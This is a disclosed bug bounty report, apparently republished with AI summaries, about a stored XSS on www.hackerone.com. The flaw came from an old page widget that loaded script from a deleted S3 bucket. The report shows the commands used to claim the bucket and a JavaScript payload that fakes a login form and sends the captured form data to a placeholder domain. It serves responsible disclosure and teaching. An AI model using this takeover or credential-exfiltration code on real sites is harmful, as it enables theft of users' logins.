Stored XSS on www.hackerone.com due to deleted S3-bucket from old page_widget
A page widget on www.hackerone.com loaded a JavaScript file from an S3 bucket that no longer existed, allowing an attacker to claim the bucket and serve malicious script. The attacker could then run JavaScript on the www subdomain and present a fake login form to steal credentials.
Originally disclosed on HackerOne
- Triaged in 4 hours
- Fixed in 7 months
- Paid in 7 months
- Disclosed after 9 months
Hi,
I hope you all are good! Here's a funny little bug :) I tried making the most out of it and hope you'll like it.
As you probably know, you're proxying https://www.hackerone.com/resources to read.uberflip.com. Uberflip has done a great job isolating content for hubs between custom domains pointing to them, so it wasn't that easy to find something interesting here. However, after a while I noticed that there's an old concept called "page widgets" that are still present cross-customers for Uberflip under /read/page_widget/XXX where XXX is a numeric ID of a widget.
I have no idea how these page widgets are created, but a lot of them seem old. Like, really old. Most of them used http to load any additional assets which prevented https://www.hackerone.com from loading any of the HTTP-assets, but after some digging I did find a few widget-IDs that used HTTPS to load javascript.
One of those widgets looked like this:
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta name="robots" content="noindex, nofollow">
<title>Flipbook Widget</title></head>
<body style="margin:0; padding:0; background:transparent; overflow:hidden;"><div id="widget" style="float:left;"> <script id='vspoverlayrun'
codecredit='CopyRight_VSPWorldwide_Productions'
videofolder='hosted'
projectname='vmags43_overlay'
alignvideo='bottommiddle'
offsetx='0'
offsety='0'
waittime='1000'
autoplay='yes'
videowidth='300'
videoheight='480'
videoscale='1'
videoscalemobile='1'
posterscale='0.5'
clickvideo='close'
autodim='0'
autodimcolor='#000000'
src='https://s3.amazonaws.com/vspcode/vspoverlayrun1.js'></script></div></body></html>
What was funny with this one was that the S3-bucket vspcode did not exist. I could now claim this bucket and run javascript on https://www.hackerone.com:
$ aws s3api create-bucket --profile frans --bucket vspcode
{
"Location": "/vspcode"
}
$ echo "alert(document.domain + ':' + location.href);" > vspoverlayrun1.js
$ aws s3 cp vspoverlayrun1.js s3://vspcode/ --acl public-read --profile frans
upload: ./vspoverlayrun1.js to s3://vspcode/vspoverlayrun1.js
I could then visit the widget and see:

As you're already aware, the www-subdomain is still isolated from the app-domain at https://hackerone.com. However, the concept of separating an app using www vs apex is – I would say – not a standard concept at all. This means that for example password managers will actually help the user by still suggesting auto completion on www if the saved login is on the apex-domain. This applies for example both to Safari and Chrome:


So I made a javascript that will replace the full content of the page with the sign-in-form of https://hackerone.com. The only difference is that it'll log any events interacting with the inputs:
history.pushState('','Sign in', 'https://www.hackerone.com/users/sign_in')
function log() {
var x = new FormData(document.forms[0]);
(new Image()).src='https://MY-DOMAIN/hackerone/?' + btoa(JSON.stringify(Object.fromEntries(x.entries())))
};
document.body.parentElement.innerHTML = 'login-page-of-hackerone.com';
This allows me to see any actions taken or any auto-completion triggering on these forms on my own host:

PoC
Here's how my page looks like:

Here's a video showing the concept of loading the website:
And here's the vulnerable URL:
https://www.hackerone.com/resources/read/page_widget/413780
Regards, Frans
Impact
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a third-party page widget referenced a JavaScript file hosted in an S3 bucket that was no longer registered, allowing anyone to claim the bucket and control the script.
Impact
An attacker could run JavaScript on the www subdomain and use a fake login form to capture credentials, though the www subdomain is isolated from the main app domain.
What the attacker needed
Knowledge of the widget URL; ability to create an S3 bucket
How it was found
- Find a page widget that loads JavaScript over HTTPS from an S3 bucket.
- Notice that the S3 bucket does not exist.
- Create the S3 bucket with the same name.
- Upload a JavaScript file to the bucket with public read access.
- Visit the widget URL to see the script execute on the www subdomain.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website was loading a script from a cloud storage bucket that had been deleted. Anyone could recreate that bucket with the same name and put their own script there, so the website would run the attacker's code. This let the attacker show a fake login page on the real hackerone.com address and capture passwords.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.